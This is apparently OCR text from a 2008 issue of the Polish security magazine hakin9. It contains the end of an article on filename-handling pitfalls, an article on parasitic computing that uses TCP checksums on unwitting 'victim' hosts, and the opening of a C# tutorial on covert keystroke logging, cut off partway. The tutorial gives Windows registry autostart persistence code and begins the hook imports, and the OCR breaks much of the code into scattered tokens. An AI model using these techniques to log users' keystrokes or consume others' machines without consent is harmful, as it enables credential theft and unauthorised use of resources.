den plik ma tylko i wyłącznie jedną na-
zwę, i wyłącznie po tej nazwie można
się do niego odwołać – chodzi m.in.
wrażliwość na wielkość liter. Nie jest
tak w przypadku systemów z rodziny
Windows. Jako przykład weźmy plik
ala.txt – można się do niego odwo-
łać używając nazwy ala.txt, ALA.TXT,
aLa.TxT, lub ala.TXT – system ten,
nie dość że jest niewrażliwy na wiel-
kość liter, to jeszcze ignoruje wszyst-
kie kropki występujące na końcu
nazwy pliku. Dodatkowy wariant od-
wołania do pliku pojawia się w wy-
padku, gdy plik ma nazwę, której nie
można zapisać w formacie 8.3 (8 zna-

ków nazwy, 3 znaki rozszerzenia) – na
przykład alamakota.txt. Do pliku od-
wołać się można wtedy korzystając ze
skróconej wersji jego długiej nazwy,
czyli na przykład alamak~1.txt. Nale-
ży zauważyć, że z tego powodu archi-
wum zawierające pliki ala.txt, aLa.TxT,
oraz ALA.TXT zostanie rozpakowa-
ne w zupełnie inny sposób w syste-
mie POSIX-owym oraz systemie z ro-
dziny Windows. Kolejnym problemem
mogą być zastrzeżone już w czasach
MS-DOS nazwy plików, takie jak con,
nul czy com1 – com9. Pliki o takich
nazwach mogą bez problemu istnieć
w systemach POSIX-owych, nato-
miast w systemach z rodziny Windows
takie pliki nie mogą zostać utworzone
a przynajmniej w standardowy sposób.

Jeszcze inny problem mogą sprawić al-
ternatywne strumienie danych w syste-
mie plików NTFS, do których odwołuje
się za pomocą dwukropka. Przykłado-
wo plik ala:kot mógłby być normalnym
plikiem w systemie POSIX-owym, nato-
miast w przypadku systemu korzystają-
cego z NTFS ala:kot oznacza strumień
kot w pliku ala. Ostatnią bardzo widocz-
ną różnicą jest zapis ścieżek katalogów
– w przypadku systemów POSIX-owych
separatorem katalogów jest slash, nato-
miast w przypadku systemów z rodziny
Windows może to być zarówno slash,
jak i backslash. Tak więc plik ala\kot
mógłby być normalnym plikiem w sys-
temie POSIX-owym, ale w systemie z
rodziny Windows oznaczałby on plik kot
w katalogu ala.

Podsumowanie

Mam nadzieję, iż niniejszy artykuł po-
może programistom ustrzec się błę-
dów związanych z obsługą nazw pli-
ków otrzymanych z zewnątrz, a teste-
rom wskaże miejsca, w których po-
tencjalny błąd mógłby zaistnieć. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

36

Atak

P

rzesyłanie informacji za pośrednic-
twem Internetu jest złożonym proce-
sem regulowanym przez zestaw pro-

tokołów. Protokoły te implementowane są
obecnie zgodnie z globalnym standardem
– określającym warstwy funkcjonalne wymaga-
ne do obsługi połączeń – o nazwie OSI (Open
System Interconnection
). Kiedy użytkownik
wpisuje do swojej przeglądarki internetowej ad-
res URL w celu obejrzenia strony WWW, prze-
glądarka nawiązuje połączenie przy wykorzy-
staniu protokołu TCP (Transmission Control
Protocol
). W następnej kolejności, przy wy-
korzystaniu istniejącego połączenia TCP, wy-
syłane jest żądanie za pośrednictwem pro-
tokołu HTTP (Hyper Text Transfer Protocol).
Pakiet TCP jest przesyłany przez sieć za po-
średnictwem protokołu IP (Internet Protocol).
Przesyłany komunikat może zostać podzielo-
ny na mniejsze pakiety, które przesłane zosta-
ną niezależnie przez szereg routerów znajdu-
jących się między źródłem a miejscem docelo-
wym. Kiedy żądanie HTTP dotrze do miejsca
przeznaczenia, odpowiedź odsyłana jest tym
samym połączeniem TCP, jakie zostało nawią-
zane przez przeglądarkę użytkownika.

Mechanizmy zaimplementowane w proto-

kołach TCP/IP rekonstruują oryginalny komu-

nikat ze zbioru pakietów, jakie zostały przesła-
ne przez sieć. Komunikat ten jest ostatecznie
przetwarzany w warstwie aplikacji przez proto-
kół HTTP. Po zinterpretowaniu żądania przez
serwer WWW zostaje wygenerowana odpo-
wiedź (może to być właściwa strona, komuni-
kat o błędzie itd.).

Jak widać, prosty z pozoru proces wymaga

dosyć znacznej liczby obliczeń – zarówno po
stronie wysyłającej, jak i odbierającej żądanie.
Niezawodność komunikacji, jaką zapewnia do-

Obliczenia pasożytnicze

Michał Styś

stopień trudności

Niezawodne przesyłanie danych w Internecie gwarantowane

jest przez zestaw protokołów sieciowych implementowanych

w systemach komputerowych. Artykuł ten pokaże, w jaki sposób

protokoły te mogą zostać wykorzystane w celu zmuszenia

zdalnych systemów do nieświadomego wykonania użytecznych

z punktu widzenia napastnika obliczeń.

Z artykułu dowiesz się

• w jaki sposób wykorzystać protokoły sieciowe,

aby wykonywać obliczenia na komputerach
podłączonych do Sieci,

• jakie znaczenie dla bezpieczeństwa kompu-

terowego ma trudność rozwiązywania proble-
mów klasy NP.

Co powinieneś wiedzieć

• powinieneś mieć podstawową wiedzę o modelu

OSI,

• powinieneś rozumieć, jak działają protokoły

sieciowe.

background image

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

37

datkowo protokół TCP, wprowadza
takie elementy jak trójfazowe uzgad-
nianie połączenia, potwierdzanie
otrzymania pakietu, sumy kontrolne
oraz numery sekwencyjne. Elementy
zapewniające niezawodność komu-
nikacji można jednak wykorzystać
w zupełnie innym celu niż ten, do
którego zostały zaprojektowane.

Pasożytniczy komputer

Termin pasożytniczy komputer odno-
si się do realizacji abstrakcyjnej ma-
szyny składającej się z rozproszo-
nych w sieci komputerów. Podobnie
jak w przypadku standardowych pro-
jektów realizujących obliczenia roz-
proszone, maszyna ta zbudowana
jest w oparciu o protokoły sieciowe.
W odróżnieniu jednak od nich, układ
pasożytniczy wykonuje obliczenia
bez wiedzy i pozwolenia właścicie-
la komputera ofiary, wykorzystywa-
nego jako węzeł obliczeniowy. Infor-
matyka pasożytnicza nie musi zakła-
dać również konieczności ingerencji
w oprogramowanie działające na
komputerze ofiary. Nie dochodzi tu-
taj do włamania do zdalnego systemu
ani też instalowania na nim jakiego-
kolwiek złośliwego oprogramowania.

Realizacja

pasożytniczego

komputera

Protokół TCP dobrze nadaje się do
zrealizowania idei pasożytniczego
komputera w praktyce. Do tego ce-
lu posłużyć może mechanizm sumy
kontrolnej
.

Pakiet przesyłany przez Inter-

net może w którymś momencie ulec

uszkodzeniu. Przykładowo, seria sy-
gnałów elektrycznych reprezentu-
jących bity może zostać zmieniona
w czasie przepływu przez kabel kon-
centryczny wskutek tłumienia lub in-
terferencji wywołanych przez źródła
pól elektromagnetycznych znajdują-
cych się w pobliżu medium transmi-
syjnego. Aby zapewnić niezawod-
ność w tego typu sytuacjach, proto-
kół TCP wprowadza mechanizm su-
my kontrolnej. Komputer wysyłający
pakiet oblicza jego sumę kontrolną
i dołącza ją do pakietu. Następnie
operację obliczenia sumy kontrolnej
odbiorca wykonuje na otrzymanym
pakiecie. Jeśli suma kontrolna zapi-
sana w pakiecie zgadza się z sumą
obliczoną dla tego pakietu, oznacza
to, że dane są poprawne i mogą być
przekazane do wyższych warstw
protokołów modelu OSI. Jeśli wy-
stąpiła niezgodność, pakiet uznawa-
ny jest za uszkodzony, a warstwa TCP
usuwa go i nie wysyła do odbiorcy
potwierdzenia otrzymania danych.

Interesującą nas właściwością

tego mechanizmu jest fakt, że suma
kontrolna TCP wyliczana jest przy
wykorzystaniu operacji wystarcza-
jących do wykonania każdej ope-
racji mieszczącej się w zakresie al-
gebry Boole'a. Istnieje zatem możli-
wość wykorzystania go jako bram-
ki logicznej. To z kolei otwiera drzwi
do wykonywania operacji arytme-
tycznych.

Implementacja układu obliczeń

pasożytniczych wykorzystujących
protokół TCP polega na zbudowa-
niu pakietu ze specjalnie sprepa-
rowaną sumą kontrolną. Kompu-

ter ofiary w procesie przetwarza-
nia żądania i generowania odpowie-
dzi automatycznie wykona zlecone
obliczenie – podczas wykonywania
algorytmu sprawdzania sumy kon-
trolnej. Zakres działania omawia-
nych mechanizmów wystarcza do
zbudowania pasożytniczego układu
obliczeniowego.

Informatyka

pasożytnicza

W obliczu omówionego potencjału
związanego z możliwością korzy-
stania z zasobów obliczeniowych
komputerów w Internecie pojawia
się pytanie: do czego można taki
mechanizm zastosować?

W roku 2001 czterech naukow-

ców – Albert Laszlo Barabasi, Vin-
cent W. Freeh, Hawoong Jeong
oraz Jay B. Brockman – zapropo-
nowało mechanizm rozwiązywa-
nia problemu klasy NP (non-poly-
nomial
) przy wykorzystaniu obli-
czeń pasożytniczych. Ich publika-
cja wzbudziła spore zainteresowa-
nie, jako że na trudności rozwiązy-
wania problemów tej klasy opiera
się całe bezpieczeństwo współcze-
snych mechanizmów kryptograficz-
nych. Gdyby znaleziony został spo-
sób na rozwiązywanie problemów
NP w rozsądnym czasie, większość
znanych technik kryptograficznych
stałaby się bezużyteczna.

Aby rozwiązywać problemy

matematyczne przy wykorzystaniu
sumy kontrolnej TCP, konieczna je-
stodpowiednia reprezentacja proble-
mu. Dla problemów NP stosowna
w tym przypadku jest reprezen-

Listing 1.

Program dla pasożytniczej maszyny wirtualnej napisany w mikroassemblerze 4IA (plik sub.4ia)

ARCH

8

10

;

Definicja

architektury

.

Rejestry

o

d

ł

ugo

ś

ci

8

bit

ó

w

,

liczba

rejestr

ó

w

10

00

:

SET

r3

,

0xFF

;

Do

rejestru

r3

ł

adujemy

warto

ść

-

1

01

:

SET

r2

,

5

;

Do

rejestru

r2

ł

adujemy

5

.

B

ę

dzie

to

ilo

ść

iteracji

w

p

ę

tli

02

:

SET

r9

,

100

;

Rejestr

r9

przechowa

warto

ść,

od

kt

ó

rej

b

ę

dziemy

odejmowa

ć

03

:

SET

r0

,

4

;

Do

rejestru

instrukcji

ł

adujemy

numer

,

od

kt

ó

rego

zacznie

si

ę

p

ę

tla

04

:

ADD

r9

,

r3

;

Wykonujemy

operacj

ę

odejmowania

na

rejestrze

r9

(

100

+

(

-

1

))

05

:

SET

r1

,

0

;

Reset

flagi

przepe

ł

nienia

06

:

ADD

r2

,

r3

;

Zmniejszamy

licznik

p

ę

tli

o

1

07

:

ADD

r0

,

r1

;

Je

ś

li

flaga

przepe

ł

nienia

==

1

,

skaczemy

do

instrukcji

09

08

:

SET

r0

,

9

;

Koniec

p

ę

tli

,

skok

do

linii

10

09

:

SET

r0

,

3

;

P

ę

tla

trwa

,

skok

do

linii

04

10

:

HLT

;

Koniec

dzia

ł

ania

programu

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

38

tacja problemu jako Boole'owskie
równanie spełnialności. Równania
takie określa się jako SAT. Równa-
nia spełnialności SAT pozwalają
na zapis problemu przy wykorzy-
staniu operatorów logiki Boole'a.
Jako przykład równania SAT może
posłużyć następująca konstrukcja:

P=(x1 XOR x2) AND (~x2 AND x3)

P

oznacza tu problem, natomiast

x1

,

x2

oraz

x3

są parametrami. W pre-

zentowanym przykładzie istnieje 23
potencjalnych rozwiązań, ale rów-
nanie będzie spełnione tylko dla jed-
nego z nich – w tym przypadku

x1=1

,

x2=0

,

x3=1

. Rozwiązywanie proble-

mów SAT polega na odnalezieniu
takiej wartości wszystkich parame-
trów, aby całe równanie mogło być
spełnione. Zaprezentowany przy-
kład równania SAT jest trywialny
i może być rozwiązany bardzo łatwo.
W przypadku bardziej złożonych rów-
nań zawierających więcej parame-
trów problem staje się NP-zupełny.

Z uwagi na swoją specyfikę, rów-

nanie SAT może zostać zapisane
jako sekwencja bitów, która zosta-
je następnie uformowana w pakiet
TCP i wysłana do ofiary jako ele-
ment problemu do policzenia.

Scenariusz pasożytniczego kom-

putera zilustrowany został na Ry-
sunkach 1 oraz 2. W pierwszym
kroku komputer-pasożyt, nadzo-
rujący proces wykonywania obli-
czeń, przygotowuje 2n specjalnie
skonstruowanych pakietów zawie-
rających wszystkie możliwe kom-
binacje parametrów równania SAT.
Następnie wysyła spreparowane
pakiety TCP do pewnej liczby ma-
szyn-ofiar. Maszyny te wyposażo-
ne są w jednostki arytmetyczno-
logiczne, umożliwiające wykony-
wanie obliczeń oraz w interfejsy
sieciowe umożliwiające zdalne po-
łączenia (warunki te spełnia każ-
dy komputer podłączony do Inter-
netu). Pakiety zawierające błęd-
ne rozwiązania nie posiadają
prawidłowej sumy kontrolnej i zosta-
ją odrzucone (ilustruje to strzałka
z opisująca błędne rozwiązanie).
W przypadku, gdy rozwiązanie
problemu jest poprawne, oblicze-
nie sumy kontrolnej zakończy się
sukcesem, a pakiet trafi w górę
stosu protokołów.

Ponieważ protokół HTTP za-

kłada generowanie odpowiedzi na
wszystkie, nawet niepoprawne, żą-
dania, zostanie ona wysłana, gdy
tylko pakiet dotrze do warstwy apli-

kacji. Dzięki temu można rozpo-
znać, który zestaw parametrów
jest poprawnym rozwiązaniem pro-
blemu SAT.

Po wysłaniu wszystkich pakie-

tów do milionów komputerów w In-
ternecie odpowiedziałyby tylko te,
które otrzymały pakiety zawiera-
jące parametry równania SAT bę-
dące prawidłowym rozwiązaniem.
Reszta pakietów zostałaby po pro-
stu odrzucona. Możliwe jest zatem
odnalezienie rozwiązania bez wy-
konywania obliczeń na lokalnym
komputerze.

Barabasi, Freeh, Jeong oraz

Brockman przeprowadzili udaną pró-
bę rozwiązania równania SAT przy
wykorzystaniu omawianej techni-
ki. Udowodnili tym samym tezę, że
możliwe jest zmuszanie kompute-
rów w Internecie do wykonywania
konkretnych obliczeń bez koniecz-
ności naruszania ich infrastruktury
i instalowania na nich dodatkowego
oprogramowania. Dodatkowo spo-
re problemy stwarza zabezpiecze-
nie się przed tego typu technikami.
Ponieważ wykorzystywane są stan-
dardowe mechanizmy zapewniające
funkcjonowanie komputera w sieci,
uniemożliwienie takich obliczeń jest
praktycznie nierealne.

Obliczenia pasożytnicze

w praktyce

Czy opisane techniki wystarcza-
ją do praktycznego zastosowania
obliczeń pasożytniczych w posta-
ci skonstruowania gigantycznego
superkomputera i zagrożenia tech-
nikom kryptograficznym? Okazuje się,
że nie do końca. Omawiane podej-
ście prezentuje jak najbardziej god-
ny uwagi, wręcz rewolucyjny sposób
spojrzenia na możliwości prowadze-
nia obliczeń rozproszonych, ale spra-
wa komplikuje się po rozważeniu kilku
dodatkowych czynników.

Listing 3.

Polecenie sh do wylistowania hosta

sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 0 0 yes untested
192.168.0.3 192.168.0.3 0 0 yes untested

Listing 2.

Stan rejestrów pasożytniczej maszyny wirtualnej po

zakończeniu wykonywania zadania obliczeniowego

Register Decimal Hex Comment
-------- ------- ------- ---------------------------
r0000000 10 0x000a Instruction pointer (ip)
r0000001 0 0x0000 Flag register (fl)
r0000002 255 0x00ff XIA error register
r0000003 255 0x00ff XIA carry register
r0000004 0 0x0000
r0000005 0 0x0000
r0000006 0 0x0000
r0000007 0 0x0000
r0000008 0 0x0000
r0000009 95 0x005f
r0000010 0 0x0000

background image

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

39

Pierwszy problem rodzi mecha-

nizm identyfikowania prawidłowych
rozwiązań. W przypadku niepo-
prawnego obliczenia sumy kontro-
lnej pakietu przez komputer-ofia-
rę, TCP usuwa pakiet i nie generuje
żadnej odpowiedzi. W efekcie trud-
ne jest ustalenie, czy nie otrzymali-
śmy odpowiedzi wskutek faktycznie
niepoprawnej sumy kontrolnej, czy
też na przykład w wyniku zmiany
polityki firewalla lub po prostu odłą-
czenia komputera-ofiary od sieci.

Drugim aspektem trudności wy-

korzystania informatyki pasożytni-
czej w obecnej postaci jest fakt du-
żego zapotrzebowania na pasmo
potrzebne do rozesłania wielkiej ilo-
ści pakietów SAT. Samo przygoto-
wanie takich pakietów również wy-
maga sporej mocy obliczeniowej.
Czynniki te powodują, że na dzień
dzisiejszy opisywane podejście nie
jest wystarczająco wydajne, aby
mogło służyć budowie i praktycz-
nemu wykorzystaniu gigantyczne-
go klastra zbudowanego z milionów
komputerów znajdujących się w In-
ternecie.

Przykładowa

aplikacja pasożytnicza

Dobrym przykładem aplikacji reali-
zującej obliczenia pasożytnicze przy
wykorzystaniu omawianej metodolo-

gii jest stworzona przez Jürga Reus-
sera oraz Luziana Scherrera maszy-
na wirtualna. Oprogramowanie to
jest publicznie dostępne pod adre-
sem http://szene.ch/parasit/. Oma-
wiana maszyna jest w pełni progra-
mowalna i zdolna rozwiązać dowol-
ny znany problem matematyczny.

W celu zainstalowania oprogra-

mowania pasożytniczej maszyny wir-
tualnej, należy pobrać kod źródłowy.
Dostępny jest on pod adresem http://
szene.ch/parasit/code/parasitic_
computing.tar.gz
Niniejszy artykuł za-
wiera opis wykorzystania omawianej
aplikacji w systemie Linux. Po pobra-
niu archiwum należy je rozpakować.
Można to zrobić poleceniem:

tar -zxf parasitic_computing.tar.gz

Następnie przechodzimy do instalacji:

make
make install

Aplikacja instaluje się domyślnie
w katalogu

/usr/local

, a więc wa-

riant ten wymaga uprawnień do zapi-
suw tym katalogu. Aby zmienić doce-
lowy katalog, należy zmienić wartość
zmiennej PREFIX w pliku Makefile.

Do korzystania z programu ko-

nieczne jest zrozumienie podstaw
jego działania. Maszyna wirtualna

wyposażona została w zestaw reje-
strów, które wykorzystywane są do
wykonywania zadań. Rejestry po-
siadają oznaczenia

rn

gdzie

n

okre-

śla numer rejestru. Wyróżnić można
tu trzy typy rejestrów:

• r0 – rejestr instrukcji. Przeznaczo-

ny do przechowywania numeru
aktualnie wykonywanej instrukcji.
Manipulacja jego zawartością po-
zwala na sterowanie przebiegiem
zadania,

• r1 – rejestr flagi. Pozwala na wy-

krywanie warunku zakończenia
działania pętli. Przyjmuje wartość

1

, gdy w którymś z rejestrów ogól-

nego przeznaczenia dojdzie do
przepełnienia wywołanego dzia-
łaniem instrukcji ADD (instrukcje
omówione zostały poniżej),

• r2...rn – rejestry ogólnego prze-

znaczenia. Można przechowy-
wać w nich wartości oraz wyko-
nywać operacje arytmetyczne.

Autorzy aplikacji stworzyli zestaw in-
strukcji pozwalający na definiowanie
zadań obliczeniowych realizowanych
na zdalnych maszynach. Język ten
bazuje na klasycznym assemblerze.
Określony został jako

4IA

, co ozna-

cza czteroinstrukcyjny assembler
(4 Instruktionen Assembler). Zgod-
nie z nazwą, posiada on cztery pod-
stawowe instrukcje:

• HLT – instrukcja przerywa wyko-

nanie zadania obliczeniowego,

• SET dst, const – instrukcja

umieszcza wartość const w reje-
strze określonym na pozycji dst,

• MOV dst, src – instrukcja ta ko-

piuje wartość rejestru src do reje-
stru określonego jako dst,

• ADD dst, src – instrukcja ADD po-

zwala na dodanie wartości prze-
chowywanej w rejestrze src do
wartości rejestru dst. Wynik zapisa-

Problemy wielomianowe

Problemy wielomianowe to takie zadania, dla których na maszynie Turinga możliwe
jest wygenerowanie rozwiązania w czasie wielomianowo proporcjonalnym do długo-
ści danych wejściowych. Czas potrzebny do rozwiązania takiego problemu jest bezpo-
średnio zależny od długości danych wejściowych podniesionych do stałej potęgi. Dla
problemów klasy NP (niewielomianowych) nie ma takich rozwiązań. Dla tej klasy pro-
blemów niewielki wzrost długości danych wejściowych wywołuje znaczne wydłużenie
czasu rozwiązywania problemu (czas może rosnąć wykładniczo).

Dla problemów NP-zupełnych będących podzbiorem problemów klasy NP udo-

wodniono brak rozwiązań w czasie proporcjonalnym do wielomianowego.

W przypadku nietrywialnych danych wejściowych problemy NP są trudne w roz-

wiązywaniu.

Listing 4.

Ilość pakietów pasożytniczych

sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 817 0 yes untested
192.168.0.3 192.168.0.3 809 0 yes untested

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

40

ny zostaje w rejestrze dst. Jeśli doj-
dzie do przepełnienia zakresu reje-
stru, ustawiona zostaje flaga

r1

.

Zestaw powyższych instrukcji wystar-
cza do realizacji każdej operacji aryt-
metycznej. Jako przykład zrealizowa-
na zostanie prosta operacja odejmo-
wania. Trywialny problem

100 - 5

zde-

finiować można w następujący sposób:
Tak przygotowany program gotowy jest
do uruchomienia na pasożytniczej ma-
szynie. Sama maszyna uruchamiana
jest przy wykorzystaniu polecenia:

/usr/local/bin/pshell

Najpierw należy przygotować plik
z adresami IP komputerów, które
wykorzystane zostaną jako ofia-
ry. Adresy rozdzielane są znakami
nowej linii. Po przygotowaniu pliku
i uruchomieniu

pshell

, należy go

załadować:

lh /sciezka/do/pliku/adresow_IP

Przykład:

lh /home/parasite/hosts
Hostlist loaded

Hosty wylistować można przy wyko-
rzystaniu polecenia

sh

: W celu wyko-

nania napisanego zadania posłużyć
należy się następującym poleceniem:

xp /home/parasite/sub.4ia

Jeśli wszystko zakończy się po-
wodzeniem (hosty – ofiary po-

winny być włączone), otrzymamy
komunikat:

Execution successfully terminated.

Wyniki (stan rejestrów) obejrzeć
można przy wykorzystaniu polece-
nia

sr

. Rejestr

r9

przechowuje zgod-

ną z oczekiwaniami wartość

100 – 5

= 95

. Obliczenia powiodły się.

Teraz zobaczyć można także, ile

pasożytniczych pakietów wysłanych
zostało do poszczególnych kompute-
rów. Szczegółowe statystyki obejrzeć
można po wydaniu polecenia

ss

.

Przykłady bardziej skompliko-

wanych zadań dostarczone są wraz
z maszyną wirtualną i po instalacji
znaleźć je można w katalogu

/usr/

local/share/parasit/4ia/

.

Strukturę wysyłanych pakietów

można obejrzeć na maszynach-
ofiarach przy wykorzystaniu dowol-
nego sniffera sieciowego (najlepiej
Wireshark). Obserwować należy
pakiety ICMP przesyłane między
ofiarą i pasożytem, ponieważ pa-
sożytniczy mechanizm obliczeń zo-
stał zaimplementowany przy wyko-
rzystaniu właśnie tego protokołu.

Aspekty legalności

Mimo, że informatyka pasożytni-
cza nie narusza integralności sys-
temów wykonujących zlecone ob-
liczenia, może powodować opóź-
nienia ich działania. Duże ilości
pakietów przesyłane do interfejsów
sieciowych powodują efekty po-
dobne do ataku typu Denial of Se-
rvice
. Z tego powodu powstaje sze-
reg pytań natury etyczno-prawnej

dotyczących wykorzystywania mo-
cy obliczeniowej maszyn znajdują-
cych się w Internecie bez pozwo-
lenia ich właścicieli. Wszystko to
skłania do refleksji na temat okre-
ślenia granic własności zasobów
Internetu.

Podsumowanie

Podsumowując, da się zauważyć,
że informatyka pasożytnicza za-
ciera granice pomiędzy komunika-
cją a obliczeniami w sieci. Udowod-
niono, że możliwe jest wymusze-
nie użytecznych obliczeń na zdal-
nych komputerach przy wykorzy-
staniu samej infrastruktury obec-
nego Internetu. Mimo, iż w prakty-
ce zastosowanie obliczeń pasożyt-
niczych w ich obecnej formie jest
mocno ograniczone, otwiera drogę
do kolejnych eksperymentów i zna-
cząco wpływa na aspekty spojrze-
nia na Internet. l

Rysunek 1.

Prototyp

pasożytniczego komputera

Pasożyt

Ofiara

HTTP

HTTP

TCP

TCP

IP

IP

Sieć

Sieć

Interfejs fizyczny

Poprawne rozwiązanie

Błędne rozwiązanie – brak odpowiedzi

Pakiet odrzucony z powodu

błędnej sumy kontrolnej

Rysunek 2.

Działania mechanizmu

obliczeń pasożytniczych

Pasożyt

niepoprawna

suma kontrolna

(brak odpowiedzi)

niepoprawna

suma kontrolna

(brak odpowiedzi)

Ofiara

Ofiara

Ofiara

Poprawna

suma

kontrolna

(odpowiedź)

Znaleziono

poprawne

rozwiązanie!

O autorze

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.
Kontakt z autorem: michal.stys@gmail.com

W Sieci

http://www.nd.edu/~parasite/ – strona twórców idei informatyki pasożytniczej wyko-

rzystującej mechanizmy protokołów internetowych,

http://szene.ch/parasit/ – strona z implementacjami oprogramowania wykorzystu-

jącego techniki obliczeń pasożytniczych.

background image
background image

www.hakin9.org

hakin9 Nr 01/2008

42

Atak

P

isząc o podsłuchiwaniu hasła, nie ma-
my oczywiście na myśli przypadku pod-
słuchiwania mówiącego sobie pod no-

sem użytkownika, który właśnie wprowadza swo-
je hasło. Chodzi nam o program, który bez wiedzy
użytkownika będzie zapisywał wszystkie naciśnię-
te klawisze. Będzie go mógł napisać nawet śred-
nio zaawansowany programista, znający system
Windows. Widać zatem, że jest to realne zagro-
żenie. Przyjrzyjmy się teraz, jak system Windows
opiekuje się uruchamianymi programami. Działa-
nie aplikacji okienkowych polega przede wszyst-
kim na reagowaniu na zdarzenia. Zdarzenia to
nic innego jak wyniki interakcji użytkownika z apli-
kacją. Jest to więc klikanie, przyciskanie, upusz-
czanie, przeciąganie oraz inne akcje, które moż-
na wykonać w aplikacji. Pisząc jakiś program pod
Windows w środowiskach RAD (ang. Rapid Ap-
plication Development
), musimy stworzyć me-
tody zdarzeniowe związane z konkretnymi zda-
rzeniami dla kontrolek aplikacji. W zależności od
języka programowania – bądź platformy urucho-
mieniowej – mamy do dyspozycji różne mechani-
zmy reakcji na zdarzenia w aplikacji. Dla platformy
.NET będą to delegacje, w C++ Bulider – wskaź-
niki na funkcje, a dla Javy specjalne obiekty nasłu-
chujące. Skąd jednak aplikacja wie, że jej przycisk

został kliknięty? Taką informację dostaje od sys-
temu Windows. Utrzymuje on dla każdego uru-
chomionego programu kolejkę, która przechowu-
je zdarzenia. Zdarzeniem, które nas najbardziej
w tym momencie interesuje, jest naciśnięcie kla-
wisza na klawiaturze. Aby je przechwycić, musi-
my monitorować komunikaty wysyłane do urucho-
mionych w systemie aplikacji. Nie jest to zadanie
specjalnie skomplikowane (nie musimy modyfiko-
wać np. jądra), ponieważ system Windows udo-
stępnia mechanizm haków (ang. hooks). Został on
już opisany przez Jacka Matulewskiego w nume-

C#.NET –

podsłuchiwanie klawiatury

Sławomir Orłowski, Maciej Pakulski

stopień trudności

Skomplikowane i często aktualizowane hasło, które oprócz liter

zawiera również cyfry i znaki specjalne, to bardzo dobry sposób

obrony przed nieautoryzowanym dostępem. Pod warunkiem, że

nie jesteśmy podsłuchiwani w trakcie jego wprowadzania.

Z artykułu dowiesz się

• jak działają haki w systemie Windows,
• jak dodawać wpisy do rejestru systemowego,
• jak z poziomu kodu C# podsłuchiwać kla-

wiaturę.

Co powinieneś wiedzieć

• podstawy programowania zorientowanego

obiektowo,

• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

43

rze 4/2007, jednak pod nieco innym ką-
tem. My zajmiemy się użyciem haków
w kodzie C#. Będziemy zmuszeni do
skorzystania z funkcji

WinAPI

oraz me-

tod specyficznych dla Windows, co jest
pogwałceniem idei platformy urucho-
mieniowej.

Dodawanie

wpisów do autostartu

Idea platformy uruchomieniowej po-
lega na przenaszalności programu
na poziomie kodu i aplikacji pomię-
dzy systemami operacyjnymi. Jed-
nak Linux nie posiada czegoś takie-
go, jak rejestr. W związku z tym nasz
program, pomimo tego, że jest pisany
dla platformy .NET, będzie działał po-
prawnie jedynie dla systemu operacyj-
nego Windows. Inną kwestią pozosta-
je, czy firmie Microsoft naprawdę zale-
ży na przenaszalności kodu pomiędzy
systemami innymi niż Windows. Za-
nim rozpoczniemy tworzenie haków,
napiszemy metodę, która będzie do-
dawała wpisy do autostartu. Pozwoli to
uruchomić nasz program przy każdym
starcie systemu. Ponieważ, jak napi-
sałem wcześniej, rejestr systemowy
jest specyficzny dla Windows, twór-
cy .NET postanowili wszystkie kla-
sy z nim związane umieścić w prze-
strzeni nazw Microsoft, a nie System.
Dane dotyczące automatycznie uru-
chamianych programów przechowuje
klucz Software\Microsoft\Windows\
CurrentVersion\Run
rejestru syste-
mowego. Jeżeli zapiszemy ścieżkę
z plikiem .exe w kluczu HKEY_CUR-
RENT_USER
, nasza aplikacja bę-
dzie uruchamiana po wlogowaniu się
aktualnie zalogowanego użytkowni-
ka. Jeżeli zapiszemy ją w HKEY_LO-
CAL_MACHINE
, program uruchamia-
ny będzie po wlogowaniu się dowolne-
go użytkownika. W naszej wersji niech
będzie to aktualny użytkownik. Musi-
my dodać jeszcze w sekcji using prze-
strzeń nazw Microsoft.Win32. Metoda
realizująca nasze zadanie przedsta-
wiona jest na Listingu 1.

Na początku metody znajduje się

deklaracja typów wyliczeniowych, któ-
re przydadzą nam się do określenia ro-
dzaju operacji, jaką chcemy wykonać
(typ

asOperation

) oraz do określenia,

czy się ona udała (

asValue

). Ponieważ

C# jest językiem silnie obiektowym, to
wspomniane typy wyliczeniowe musi-
my zadeklarować jako pola klasy re-
prezentującej nasz program. Parame-

try, jakie przyjmuje nasza metoda, to
nazwa klucza (zmienna

name

), ścieżka

dostępu i nazwa pliku wykonywalnego,
który chcemy uruchomić (zmienna

exe

)

Listing 1.

Metoda sprawdzająca, dodająca lub usuwająca wpis w

autostarcie systemu

Windows

enum

asOperation

{

asCheck

,

asWrite

,

asDelete

}

;

enum

asValue

{

yes

,

no

,

error

}

;

private

static

asValue

InsertInAutostart

(

string

name

,

string

exe

,

asOperation

operation

)

{

const

string

key

=

"Software

\\

Microsoft

\\

Windows

\\

CurrentVersion

\\

Run"

;

try

{

RegistryKey

rg

=

Registry

.

CurrentUser

.

OpenSubKey

(

key

,

true

);

switch

(

operation

)

{

case

asOperation

.

asCheck

:

if

(

rg

.

GetValue

(

name

)

!=

null

)

return

asValue

.

yes

;

else

return

asValue

.

no

;

case

asOperation

.

asWrite

:

rg

.

SetValue

(

name

,

exe

);

rg

.

Close

();

return

asValue

.

yes

;

case

asOperation

.

asDelete

:

rg

.

DeleteValue

(

name

);

rg

.

Close

();

return

asValue

.

yes

;

}

return

asValue

.

no

;

}

catch

{

return

asValue

.

error

;

}

}

Listing 2.

Import funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

